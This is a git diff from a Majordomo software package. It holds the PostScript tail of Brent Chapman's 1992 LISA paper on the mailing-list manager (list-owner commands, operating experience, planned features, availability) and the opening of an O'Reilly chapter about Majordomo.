X +f.R 10 Z(If)s +2475 X(Jane's)s +2673 X(mailer)s +2876 X(automatically)s +3273 X(appended)s +3559 X(a)s +3620 X(sig-)s +2256 X +3346 Y(nature)s +2453 X(to)s +2535 X(the)s +2647 X(end)s +2772 X(of)s +2856 X(all)s +2953 X(her)s +3067 X(outgoing)s +3332 X(messages,)s +3631 X(she)s +2256 X +3419 Y(could)s +2428 X(issue)s +2586 X(the)s +2692 X("end")s +2866 X(command)s +3153 X(as)s +3233 X(the)s +3339 X(last)s +3457 X(command)s +2256 X +3492 Y(of)s +2347 X(her)s +2468 X(messages)s +2757 X(to)s +2844 X(cause)s +3028 X(Majordomo)s +3377 X(to)s +3464 X(stop)s +3610 X(pro-)s +2256 X +3565 Y(cessing)s +2480 X(at)s +2556 X(that)s +2684 X(point)s +2821 X(.)s +2887 X(In)s +2969 X(addition,)s +3232 X(she)s +3348 X(could)s +3523 X(include)s +2256 X +3638 Y(blank)s +2438 X(lines)s +2599 X(or)s +2688 X(comments)s +2997 X(\(anything)s +3286 X(following)s +3579 X(a)s +3643 X('#')s +2256 X +3711 Y(on)s +2349 X(a)s +2406 X(line)s +2534 X(is)s +2607 X(a)s +2665 X(comment,)s +2959 X(and)s +3083 X(is)s +3156 X(discarded)s +3440 X(before)s +3638 X(the)s +2256 X +3784 Y(line)s +2379 X(is)s +2446 X(processed\))s +2753 X(if)s +2816 X(she)s +2927 X(wanted)s +3142 X(to)s +3194 X(.)s +2256 X +3878 Y +2400 X(If)s +2492 X(the)s +2622 X(owner)s +2836 X(of)s +2939 X(the)s +3069 X("majordomo)s +3403 X(-users")s +3637 X(list)s +2256 X +3951 Y(wished)s +2473 X(to)s +2553 X(change)s +2769 X(the)s +2878 X(information)s +3220 X(\256le)s +3333 X(that)s +3461 X(is)s +3533 X(sent)s +3668 X(in)s +2256 X +4024 Y(response)s +2513 X(to)s +2589 X("info")s +2774 X(and)s +2894 X("subscribe")s +3224 X(requests,)s +3484 X(he)s +3572 X(could)s +2256 X +4097 Y(do)s +2344 X(that)s +2467 X(with)s +2608 X(a)s +2660 X(message)s +2909 X(such)s +3053 X(as:)s +2256 X +4186 Y +2304 X +f.CW 8 Z(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +4282 Y +2304 X(newinfo)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(PASSWORD)s +2256 X +4342 Y +2304 X(This)s +2464 X(is)s +2560 X(a)s +2624 X(revised)s +2880 X(information)s +3264 X(file)s +2256 X +4402 Y +2304 X(for)s +2432 X(the)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(mailing)s +3328 X(list)s +3456 X(.)s +2256 X +4462 Y +2304 X(END)s +2256 X +4564 Y +f.R 10 Z(If)s +2333 X(the)s +2448 X(password)s +2732 X(used)s +2887 X(was)s +3024 X(the)s +3139 X(correct)s +3358 X(password)s +3643 X(for)s +2256 X +4637 Y(the)s +2368 X(list,)s +2498 X(Majordomo)s +2842 X(would)s +3038 X(replace)s +3261 X(the)s +3372 X(existing)s +3613 X(info)s +2256 X +4710 Y(\256le)s +2371 X(with)s +2519 X(the)s +2630 X(contents)s +2882 X(of)s +2966 X(the)s +3078 X(message)s +3335 X(to)s +3417 X(the)s +3529 X("END")s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(141)s +5280 Y +pagebot + +%%Page: 142 8 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(marker)s +579 X(\(or)s +686 X(the)s +798 X(end)s +924 X(of)s +1008 X(the)s +1119 X(message,)s +1392 X(if)s +1462 X(there)s +1625 X(was)s +1758 X(no)s +360 X +521 Y(marker\))s +571 X(.)s +637 X(A)s +713 X(wise)s +864 X(list)s +975 X(owner)s +1169 X(would)s +1363 X(probably)s +1627 X(include)s +360 X +594 Y(an)s +485 X("info)s +680 X(majordomo)s +987 X(-users")s +1234 X(command)s +1558 X(after)s +1742 X(the)s +360 X +667 Y("END")s +575 X(marker)s +788 X(so)s +871 X(that)s +996 X(he)s +1083 X(could)s +1256 X(verify)s +1440 X(that)s +1566 X(the)s +1673 X(infor-)s +360 X +740 Y(mation)s +568 X(update)s +768 X(succeeded)s +1043 X(.)s +360 X +834 Y +504 X(A)s +576 X(list)s +683 X(owner)s +874 X(could)s +1047 X(also)s +1180 X(use)s +1294 X(a)s +1349 X(message)s +1601 X(like)s +1727 X(this)s +360 X +907 Y(to)s +434 X(change)s +645 X(the)s +749 X(password)s +1022 X(for)s +1121 X(their)s +1266 X(list:)s +360 X +996 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +1092 Y +408 X(passwd)s +632 X(majordomo)s +920 X(-users)s +1144 X(OLD)s +1272 X(NEW)s +360 X +1194 Y +f.R 10 Z(If)s +463 X(the)s +604 X(old)s +748 X(password)s +1058 X(for)s +1194 X(majordomo)s +1501 X(-users)s +1720 X(was)s +360 X +1267 Y("OLD",)s +592 X(then)s +730 X(Majordomo)s +1067 X(would)s +1256 X(change)s +1468 X(the)s +1573 X(password)s +360 X +1340 Y(to)s +435 X("NEW")s +641 X(.)s +703 X(For)s +819 X(all)s +911 X(Majordomo)s +1249 X(list)s +1356 X(owner)s +1546 X(operations)s +360 X +1413 Y(that)s +495 X(require)s +718 X(passwords,)s +1045 X(knowledge)s +1370 X(of)s +1458 X(the)s +1573 X(password)s +360 X +1486 Y(for)s +470 X(the)s +585 X(list)s +701 X(is)s +779 X(the)s +894 X(sole)s +1035 X(authentication)s +1448 X(performed)s +1758 X(on)s +360 X +1559 Y(the)s +469 X(command)s +732 X(.)s +797 X(As)s +897 X(I've)s +1030 X(said)s +1164 X(elsewhere)s +1458 X(in)s +1536 X(this)s +1659 X(paper,)s +360 X +1632 Y(this)s +490 X(isn't)s +643 X(intended)s +907 X(to)s +993 X(be)s +1090 X(highly)s +1294 X(secure;)s +1518 X(it's)s +1638 X(merely)s +360 X +1705 Y(intended)s +625 X(to)s +712 X(keep)s +873 X(obnoxious)s +1184 X(people)s +1397 X(from)s +1560 X(making)s +1794 X(a)s +360 X +1778 Y(nuisance)s +625 X(of)s +711 X(themselves)s +1040 X(by)s +1137 X(abusing)s +1375 X(list)s +1489 X(owner)s +1687 X(com-)s +360 X +1851 Y(mands)s +534 X(.)s +360 X +1945 Y +504 X(Note)s +658 X(that)s +783 X(Majordomo)s +1121 X(does)s +1267 X(not)s +1376 X(yet)s +1482 X(support)s +1706 X(con-)s +360 X +2018 Y(tinuation)s +637 X(lines)s +803 X(\(a)s +894 X(command)s +1196 X(line)s +1336 X(that)s +1476 X(ends)s +1637 X(with)s +1794 X(a)s +360 X +2091 Y(backslash,)s +662 X(indicating)s +955 X(that)s +1081 X(the)s +1188 X(command)s +1476 X(continues)s +1758 X(on)s +360 X +2164 Y(the)s +471 X(next)s +615 X(line\))s +767 X(as)s +852 X(shown)s +1054 X(above,)s +1259 X(though)s +1472 X(it)s +1539 X(is)s +1612 X(high)s +1758 X(on)s +360 X +2237 Y(the)s +472 X(list)s +585 X(of)s +670 X(features)s +912 X(to)s +995 X(be)s +1089 X(added)s +1248 X(.)s +1318 X(Continuation)s +1697 X(lines)s +360 X +2310 Y(were)s +512 X(used)s +656 X(here)s +793 X(for)s +892 X(typesetting)s +1208 X(reasons)s +1408 X(.)s +360 X +2437 Y +664 X +f.B 10 Z(Experiences)s +1032 X(with)s +1180 X(Majordomo)s +360 X +2546 Y +504 X +f.R 10 Z(Majordomo)s +862 X(is)s +951 X(currently)s +1236 X(used)s +1402 X(to)s +1498 X(run)s +1631 X(the)s +1758 X(17)s +360 X +2619 Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(on)s +1062 X(USENIX)s +1306 X(.ORG,)s +1516 X(and)s +1648 X(to)s +1736 X(run)s +360 X +2692 Y(the)s +469 X("Majordomo)s +810 X(-Users")s +1038 X(and)s +1161 X("Majordomo)s +1502 X(-Announce")s +360 X +2765 Y(mailing)s +599 X(lists)s +742 X(at)s +825 X(GreatCircle)s +1138 X(.COM)s +1340 X(\(see)s +1481 X(the)s +1596 X("Availa-)s +360 X +2838 Y(bility")s +577 X(section)s +815 X(for)s +940 X(more)s +1125 X(information)s +1489 X(about)s +1686 X(these)s +360 X +2911 Y(lists\))s +491 X(.)s +555 X(It's)s +669 X(been)s +819 X(in)s +895 X(operation)s +1171 X(on)s +1261 X(USENIX)s +1505 X(.ORG)s +1686 X(since)s +360 X +2984 Y(late)s +481 X(June,)s +643 X(1992)s +775 X(.)s +815 X(In)s +893 X(the)s +998 X(two)s +1122 X(months)s +1342 X(between)s +1589 X(then)s +1728 X(and)s +360 X +3057 Y(the)s +482 X(time)s +642 X(this)s +779 X(paper)s +967 X(was)s +1110 X(written,)s +1356 X(it)s +1433 X(has)s +1561 X(processed)s +360 X +3130 Y(almost)s +572 X(1800)s +737 X(requests,)s +1006 X(all)s +1108 X(without)s +1346 X(encountering)s +1728 X(any)s +360 X +3203 Y(major)s +545 X(bugs)s +699 X(or)s +783 X(problems)s +1059 X(\(though)s +1293 X(a)s +1351 X(number)s +1582 X(of)s +1665 X(minor)s +360 X +3276 Y(bugs)s +512 X(have)s +665 X(been)s +818 X(found)s +1000 X(and)s +1124 X(corrected\))s +1395 X(.)s +1462 X(A)s +1538 X(number)s +1769 X(of)s +360 X +3349 Y(other)s +527 X(sites)s +677 X(requested)s +963 X(and)s +1089 X(received)s +1345 X(beta)s +1457 X(-test)s +1602 X(versions)s +360 X +3422 Y(of)s +437 X(the)s +541 X(program,)s +805 X(but)s +912 X(I)s +956 X(haven't)s +1178 X(heard)s +1349 X(back)s +1498 X(from)s +1650 X(any)s +1769 X(of)s +360 X +3495 Y(them)s +516 X(that)s +639 X(they've)s +861 X(begun)s +1045 X(using)s +1211 X(the)s +1315 X(software)s +1567 X(yet)s +1649 X(.)s +360 X +3589 Y +504 X(While)s +693 X(Majordomo)s +1033 X(is)s +1104 X(similar)s +1317 X(to)s +1395 X(and)s +1517 X(inspired)s +1758 X(by)s +360 X +3662 Y(Listserv,)s +616 X(I)s +660 X(haven't)s +882 X(really)s +1057 X(attempted)s +1344 X(to)s +1418 X(make)s +1585 X(it)s +1645 X(a)s +1697 X(List-)s +360 X +3735 Y(serv)s +505 X(clone)s +650 X(.)s +723 X(I've)s +865 X(chosen)s +1085 X(to)s +1172 X(use)s +1296 X(many)s +1479 X(of)s +1569 X(the)s +1686 X(same)s +360 X +3808 Y(commands)s +683 X(as)s +773 X(Listserv,)s +1040 X(but)s +1158 X(I've)s +1298 X(often)s +1468 X(used)s +1623 X(slightly)s +360 X +3881 Y(different)s +617 X(syntaxes)s +874 X(for)s +978 X(some)s +1146 X(commands;)s +1482 X(for)s +1587 X(instance,)s +360 X +3954 Y(the)s +471 X(Listserv)s +716 X(syntax)s +919 X(for)s +1025 X("subscribe")s +1360 X(is)s +1434 X("subscribe)s +1741 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +360 X +4027 Y(real_name)s +f.R 10 Z(",)s +714 X(as)s +796 X(opposed)s +1043 X(to)s +1121 X(the)s +1229 X(Majordomo)s +1569 X(syntax)s +1769 X(of)s +360 X +4100 Y("subscribe)s +662 X +f.I 10 Z(list)s +768 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(]")s +1046 X(.)s +1108 X(This)s +1250 X(may)s +1388 X(not)s +1496 X(have)s +1645 X(been)s +1794 X(a)s +360 X +4173 Y(good)s +528 X(idea;)s +695 X(perhaps)s +938 X(I)s +996 X(should)s +1209 X(have)s +1371 X(either)s +1560 X(made)s +1742 X(the)s +360 X +4246 Y(Majordomo)s +698 X(syntax)s +896 X(identical)s +1152 X(to)s +1228 X(the)s +1333 X(Listserv)s +1572 X(syntax)s +1769 X(or)s +360 X +4319 Y(made)s +542 X(it)s +617 X(completely)s +952 X(different)s +1182 X(.)s +1237 X(The)s +1379 X(copy)s +1546 X(of)s +1639 X(Major-)s +360 X +4392 Y(domo)s +560 X(running)s +815 X(on)s +930 X(USENIX)s +1174 X(.ORG)s +1380 X(uses)s +1544 X(the)s +1674 X(email)s +360 X +4465 Y(address)s +583 X("Listserv",)s +893 X(not)s +1001 X("Majordomo";)s +1411 X(it's)s +1520 X(not)s +1628 X(clear)s +1783 X(if)s +360 X +4538 Y(that)s +483 X(was)s +609 X(a)s +661 X(good)s +815 X(idea,)s +966 X(since)s +1126 X(it's)s +1234 X(not)s +1341 X(really)s +1516 X(Listserv)s +1732 X(.)s +2016 X +448 Y +2555 X +f.B 10 Z(Future)s +2774 X(Work)s +2016 X +557 Y +2160 X +f.R 10 Z(The)s +2293 X(next)s +2437 X(major)s +2622 X(set)s +2726 X(of)s +2811 X(features)s +3053 X(I)s +3105 X(intend)s +3302 X(to)s +3384 X(add)s +2016 X +630 Y(are)s +2123 X(to)s +2200 X(support)s +2424 X(email)s +2599 X(retrieval)s +2848 X(of)s +2928 X(\256les)s +3065 X(through)s +3295 X(Major-)s +2016 X +703 Y(domo)s +2167 X(.)s +2237 X(I)s +2290 X(need)s +2447 X(to)s +2530 X(look)s +2679 X(at)s +2759 X(mechanisms)s +3122 X(and)s +3250 X(syntaxes)s +2016 X +776 Y(for)s +2129 X(making)s +2365 X(\256les)s +2513 X(and)s +2645 X(directories)s +2964 X(readable,)s +3243 X(writable,)s +2016 X +849 Y(and)s +2148 X(searchable)s +2467 X(via)s +2585 X(email)s +2735 X(.)s +2810 X(I)s +2869 X(intend)s +3073 X(to)s +3162 X(support)s +3398 X(the)s +2016 X +922 Y(notion)s +2209 X(of)s +2287 X("open")s +2493 X(and)s +2611 X("closed")s +2858 X(\256le)s +2966 X(directories)s +3271 X(\(similar)s +2016 X +995 Y(to)s +2106 X(the)s +2226 X("open")s +2448 X(and)s +2583 X("closed")s +2847 X(mailing)s +3091 X(lists)s +3239 X(currently)s +2016 X +1068 Y(implemented\);)s +2431 X(only)s +2573 X(authorized)s +2879 X(people)s +3080 X(\(where)s +3288 X(author-)s +2016 X +1141 Y(ization)s +2239 X(might)s +2435 X(be)s +2539 X(determined)s +2881 X(by)s +2988 X(knowledge)s +3321 X(of)s +3417 X(an)s +2016 X +1214 Y(appropriate)s +2349 X(password,)s +2646 X(or)s +2730 X(by)s +2825 X(membership)s +3184 X(on)s +3279 X(a)s +3338 X(mail-)s +2016 X +1287 Y(ing)s +2125 X(list)s +2233 X(associated)s +2534 X(with)s +2678 X(the)s +2785 X(directory\))s +3073 X(will)s +3203 X(be)s +3291 X(able)s +3428 X(to)s +2016 X +1360 Y(retrieve)s +2246 X(\256les)s +2383 X(from)s +2537 X("closed")s +2787 X(directories)s +3070 X(.)s +3134 X(I)s +3181 X(also)s +3313 X(intend)s +2016 X +1433 Y(to)s +2093 X(support)s +2318 X("writable")s +2618 X(and)s +2740 X("read)s +2882 X(-only")s +3075 X(directories)s +3384 X(and)s +2016 X +1506 Y(\256les)s +2128 X(.)s +2234 X(I'm)s +2397 X(going)s +2615 X(to)s +2734 X(consider)s +3027 X(special)s +3281 X(support)s +2016 X +1579 Y(speci\256cly)s +2299 X(for)s +2402 X(mailing)s +2633 X(list)s +2742 X(archives,)s +3009 X(to)s +3088 X(allow)s +3264 X(users)s +3428 X(to)s +2016 X +1652 Y(request)s +2243 X(only)s +2395 X(messages)s +2682 X(matching)s +2964 X(certain)s +3180 X(patterns)s +3425 X(or)s +2016 X +1725 Y(containing)s +2325 X(speci\256ed)s +2590 X(keywords)s +2875 X(from)s +3032 X(a)s +3090 X(given)s +3266 X(archive,)s +2016 X +1798 Y(rather)s +2225 X(than)s +2392 X(forcing)s +2636 X(them)s +2822 X(to)s +2926 X(retrieve)s +3183 X(the)s +3317 X(whole)s +2016 X +1871 Y(archive)s +2235 X(and)s +2353 X(do)s +2441 X(the)s +2545 X(search)s +2738 X(themselves)s +3036 X(.)s +2016 X +1965 Y +2160 X(At)s +2258 X(some)s +2430 X(point,)s +2615 X(I)s +2668 X(\(or)s +2777 X(someone)s +3046 X(else\))s +3205 X(should)s +3414 X(go)s +2016 X +2038 Y(back)s +2216 X(in)s +2342 X(and)s +2512 X(make)s +2731 X(Majordomo)s +3119 X(work)s +3329 X(under)s +2016 X +2111 Y("taintperl",)s +2341 X(so)s +2430 X(that)s +2561 X(the)s +2673 X("wrapper")s +2975 X(program)s +3231 X(won't)s +3417 X(be)s +2016 X +2184 Y(necessary)s +2276 X(.)s +2348 X(I)s +2403 X(\256rmly)s +2599 X(believe)s +2826 X(that)s +2960 X("taintperl")s +3271 X(is)s +3348 X(good)s +2016 X +2257 Y(and)s +2157 X(valuable,)s +2446 X(and)s +2588 X(that)s +2735 X(operating)s +3033 X(under)s +3230 X(it)s +3314 X(would)s +2016 X +2330 Y(improve)s +2279 X(the)s +2402 X(security)s +2654 X(of)s +2749 X(Majordomo;)s +3122 X(I)s +3184 X(just)s +3321 X(didn't)s +2016 X +2403 Y(have)s +2169 X(the)s +2279 X(time)s +2427 X(to)s +2507 X(work)s +2671 X(out)s +2784 X(all)s +2880 X(the)s +2990 X(details)s +3194 X(during)s +3395 X(my)s +2016 X +2476 Y(initial)s +2196 X(implementation)s +2639 X(phase)s +2791 X(.)s +2016 X +2570 Y +2160 X(I'd)s +2268 X(like)s +2400 X(to)s +2483 X(add)s +2610 X(a)s +2671 X(number)s +2906 X(of)s +2993 X(minor)s +3184 X(features)s +3428 X(to)s +2016 X +2643 Y(the)s +2153 X(program,)s +2450 X(including)s +2757 X(suppression)s +3125 X(of)s +3234 X(duplicate)s +2016 X +2716 Y(addresses)s +2303 X(in)s +2386 X(mailing)s +2622 X(lists)s +2762 X(\(but)s +2901 X(is)s +2978 X("joe@foobar)s +3321 X(.com")s +2016 X +2789 Y(the)s +2127 X(same)s +2294 X(as)s +2379 X("joe@workstatio)s +2831 X(n)s +2864 X(.foobar)s +3054 X(.com"?\),)s +3310 X(recog-)s +2016 X +2862 Y(nition)s +2200 X(of)s +2283 X(unambiguous)s +2669 X(command)s +2960 X(abbreviations,)s +3366 X(sup-)s +2016 X +2935 Y(port)s +2159 X(for)s +2272 X(continuation)s +2642 X(lines)s +2805 X(\(some)s +3004 X(mailers)s +3237 X(insist)s +3414 X(on)s +2016 X +3008 Y(auto)s +2131 X(-wrapping)s +2426 X(text)s +2549 X(to)s +2623 X(\256t)s +2701 X(an)s +2786 X(80)s +2852 X(-column)s +3096 X(display;)s +3331 X(while)s +2016 X +3081 Y(this)s +2135 X(is)s +2202 X(often)s +2361 X(preferable)s +2654 X(to)s +2728 X(paragraph)s +2994 X(-long)s +3156 X(lines)s +3305 X(in)s +3379 X(text)s +2016 X +3154 Y(messages,)s +2328 X(it)s +2409 X(wreaks)s +2641 X(havoc)s +2843 X(with)s +3005 X(long)s +3166 X(Majordomo)s +2016 X +3227 Y(commands\),)s +2373 X(support)s +2600 X(for)s +2705 X(a)s +2763 X(command)s +3054 X(indicating)s +3350 X(what)s +2016 X +3300 Y(return)s +2204 X(address)s +2433 X(Majordomo)s +2776 X(should)s +2982 X(use)s +3100 X(for)s +3207 X(its)s +3301 X(replies)s +2016 X +3373 Y(\(for)s +2158 X(use)s +2290 X(by)s +2399 X(folks)s +2575 X(whose)s +2787 X(mailers)s +3027 X(generate)s +3296 X(broken)s +2016 X +3446 Y(reply)s +2181 X(addresses)s +2465 X(in)s +2545 X(the)s +2655 X(headers;)s +2906 X(this)s +3032 X(might,)s +3234 X(however,)s +2016 X +3519 Y(have)s +2183 X(security)s +2436 X(implications)s +2809 X(that)s +2951 X(would)s +3158 X(need)s +3325 X(to)s +3417 X(be)s +2016 X +3592 Y(carefully)s +2284 X(considered\),)s +2643 X(and)s +2770 X(support)s +3000 X(for)s +3108 X(commands)s +3428 X(in)s +2016 X +3665 Y(the)s +2127 X("Subject:")s +2430 X(line)s +2560 X(of)s +2644 X(the)s +2755 X(message)s +2982 X(.)s +3050 X(I)s +3101 X(might)s +3285 X(look)s +3431 X(at)s +2016 X +3738 Y(making)s +2238 X(Majordomo)s +2574 X(more)s +2733 X(Listserv)s +2949 X(-compatible)s +3269 X(.)s +2016 X +3865 Y +2581 X +f.B 10 Z(Availability)s +2016 X +3974 Y +2160 X +f.R 10 Z(The)s +2299 X(package)s +2553 X(is)s +2633 X(available)s +2911 X(for)s +3023 X(anonymous)s +3365 X(FTP)s +2016 X +4047 Y(on)s +2183 X(machine)s +2511 X(FTP)s +2626 X(.GreatCircle)s +2956 X(.COM,)s +3242 X(in)s +3394 X(\256le)s +2016 X +4120 Y("pub/majordomo)s +2468 X(.tar)s +2556 X(.Z")s +2641 X(.)s +2756 X(If)s +2876 X(you)s +3051 X(do)s +3193 X(not)s +3354 X(have)s +2016 X +4193 Y(anonymous)s +2358 X(FTP)s +2508 X(access,)s +2732 X(contact)s +2961 X(me)s +3078 X(\(contact)s +3329 X(infor-)s +2016 X +4266 Y(mation)s +2257 X(is)s +2357 X(in)s +2464 X(the)s +2601 X("Author)s +2872 X(Information")s +3273 X(section,)s +2016 X +4339 Y(below\),)s +2243 X(and)s +2364 X(I'll)s +2471 X(try)s +2570 X(to)s +2647 X(get)s +2754 X(a)s +2809 X(copy)s +2962 X(to)s +3038 X(you)s +3161 X(by)s +3251 X(email)s +3425 X(or)s +2016 X +4412 Y(some)s +2179 X(other)s +2338 X(means)s +2509 X(.)s +2016 X +4506 Y +2160 X(If)s +2237 X(you)s +2369 X(install)s +2567 X(Majordomo,)s +2931 X(please)s +3132 X(add)s +3262 X(yourself)s +2016 X +4579 Y(to)s +2245 X(the)s +2504 X(mailing)s +2885 X(list)s +3144 X(Majordomo)s +3458 X(-)s +2016 X +4652 Y(Users@GreatCir)s +2463 X(cle)s +2542 X(.COM,)s +2768 X(which)s +2972 X(is)s +3058 X(for)s +3176 X(discussions)s +2016 X +4725 Y(concerning)s +2337 X(use)s +2451 X(of,)s +2548 X(problems)s +2821 X(with,)s +2981 X(and)s +3101 X(enhancements)s +360 X +4967 Y +f.B 10 Z(142)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 143 9 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(for)s +704 X(Majordomo)s +1018 X(.)s +1085 X(Announcements)s +1546 X(of)s +1629 X(new)s +1768 X(releases)s +2009 X(of)s +600 X +521 Y(Majordomo)s +1012 X(will)s +1214 X(be)s +1374 X(sent)s +1579 X(to)s +1728 X(Majordomo)s +2042 X(-)s +600 X +594 Y(Announce@Great)s +1083 X(Circle)s +1247 X(.COM)s +1415 X(.)s +1476 X(You)s +1612 X(can)s +1727 X(add)s +1846 X(yourself)s +600 X +667 Y(to)s +679 X(either)s +859 X(or)s +941 X(both)s +1086 X(lists)s +1222 X(by)s +1315 X(sending)s +1549 X(appropriate)s +1879 X(Major-)s +600 X +740 Y(domo)s +814 X(commands)s +1166 X(to)s +1281 X(the)s +1427 X(electronic)s +1756 X(mail)s +1940 X(alias)s +600 X +813 Y(Majordomo@Grea)s +1105 X(tCircle)s +1288 X(.COM)s +1456 X(.)s +600 X +940 Y +1043 X +f.B 10 Z(Author)s +1272 X(Information)s +600 X +1049 Y +744 X +f.R 10 Z(Brent)s +915 X(Chapman)s +1193 X(is)s +1261 X(a)s +1315 X(consultant)s +1614 X(in)s +1690 X(the)s +1796 X(San)s +1920 X(Fran-)s +600 X +1122 Y(cisco)s +779 X(Bay)s +927 X(Area,)s +1115 X(specializing)s +1477 X(in)s +1570 X(the)s +1692 X(con\256guration,)s +600 X +1195 Y(operation,)s +897 X(and)s +1021 X(networking)s +1353 X(of)s +1437 X(UNIX)s +1632 X(systems)s +1844 X(.)s +1912 X(He)s +2019 X(is)s +600 X +1268 Y(also)s +745 X(currently)s +1023 X(Postmaster)s +1354 X(for)s +1468 X(SAGE)s +1679 X(\(the)s +1820 X(USENIX)s +600 X +1341 Y(Special)s +868 X(Technical)s +1203 X(Group)s +1442 X(focusing)s +1741 X(on)s +1878 X(system)s +600 X +1414 Y(administration)s +1011 X(issues\))s +1193 X(.)s +1256 X(During)s +1468 X(the)s +1574 X(last)s +1692 X(several)s +1906 X(years,)s +600 X +1487 Y(he)s +697 X(has)s +820 X(been)s +980 X(an)s +1078 X(operations)s +1391 X(manager)s +1656 X(for)s +1768 X(a)s +1833 X(\256nancial)s +600 X +1560 Y(services)s +883 X(company,)s +1211 X(a)s +1307 X(world)s +1462 X(-renowned)s +1812 X(corporate)s +600 X +1633 Y(research)s +848 X(lab,)s +972 X(a)s +1028 X(software)s +1284 X(engineering)s +1625 X(company,)s +1912 X(and)s +2034 X(a)s +600 X +1706 Y(hardware)s +922 X(engineering)s +1310 X(company)s +1554 X(.)s +1666 X(He)s +1817 X(holds)s +2034 X(a)s +600 X +1779 Y(Bachelor)s +865 X(of)s +944 X(Science)s +1177 X(degree)s +1379 X(in)s +1455 X(Electrical)s +1738 X(Engineering)s +600 X +1852 Y(and)s +727 X(Computer)s +1023 X(Science)s +1262 X(from)s +1421 X(the)s +1533 X(University)s +1845 X(of)s +1930 X(Cali-)s +600 X +1925 Y(fornia,)s +802 X(Berkeley)s +1043 X(.)s +1108 X(He)s +1212 X(can)s +1332 X(be)s +1422 X(contacted)s +1706 X(by)s +1799 X(electronic)s +600 X +1998 Y(mail)s +760 X(to)s +852 X(Brent@GreatCirc)s +1325 X(le)s +1374 X(.COM,)s +1599 X(by)s +1704 X(phone)s +1905 X(at)s +1993 X(+1)s +600 X +2071 Y(415)s +729 X(962)s +858 X(0841,)s +1037 X(by)s +1133 X(FAX)s +1296 X(at)s +1375 X(+1)s +1476 X(415)s +1605 X(962)s +1734 X(0842,)s +1913 X(or)s +1998 X(by)s +600 X +2144 Y(U)s +648 X(.S)s +702 X(.)s +759 X(Mail)s +926 X(to)s +1018 X(Great)s +1207 X(Circle)s +1411 X(Associates,)s +1755 X(1057)s +1926 X(West)s +600 X +2217 Y(Dana)s +763 X(St)s +819 X(.,)s +875 X(Mountain)s +1156 X(View,)s +1340 X(CA)s +1454 X(94041)s +1619 X(.)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(143)s +5280 Y +pagebot + +%%Page: 144 10 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +4967 Y(144)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Trailer +lastpage diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora new file mode 100644 index 0000000..047e8ef --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora @@ -0,0 +1,1718 @@ +This file is the chapter about Majordomo from the Nutshell Handbook +"Managing Internet Information Services," written by Jerry Peek. +The chapter is (c) Copyright 1994 by O'Reilly & Associates, Inc., +and was included in the Majordomo distribution by permission of the +publisher. You may not edit, adapt, or redistribute changed versions +of this for other than your personal use without the express written +permission of O'Reilly & Associates. Sorry for the legal jargon; +we said that to protect our copyright! + +This draft chapter is current as of March 15, 1994 but might not be +kept up to date with the software. The book version may also become +different over time. + +In a few places, this chapter refers to previous chapters of the book. +If you want to see those chapters, too, you'll have to buy the book ;-) +(or borrow it). + +If you have comments or corrections, please send email to +bookquestions@ora.com, phone +1-707-829-0515, or send snail mail to +O'Reilly & Associates; 103A Morris Street; Sebastopol, CA 95472 USA. + + + +Majordomo is a set of programs written in Perl that automate operation +of multiple mailing lists. Majordomo automatically handles routine +requests to subscribe or unsubscribe; it also has "closed lists" that +route all subscription requests to a "list owner" for approval. It +also supports "moderated lists" that send all messages to the list +owner for approval before they're sent to subscribers. Once the list +is set up, it can be controlled by electronic mail, so the list owner +need not be on the machine where Majordomo is running. It can also +maintain simple archives and deliver them via e-mail. + +Although you don't need to know Perl to run Majordomo, the Perl +interpreter must be installed on the computer where you run Majordomo. +Perl's source code is freely available from archives around the +Internet, such as ftp.uu.net. You can also get ready-to-run versions 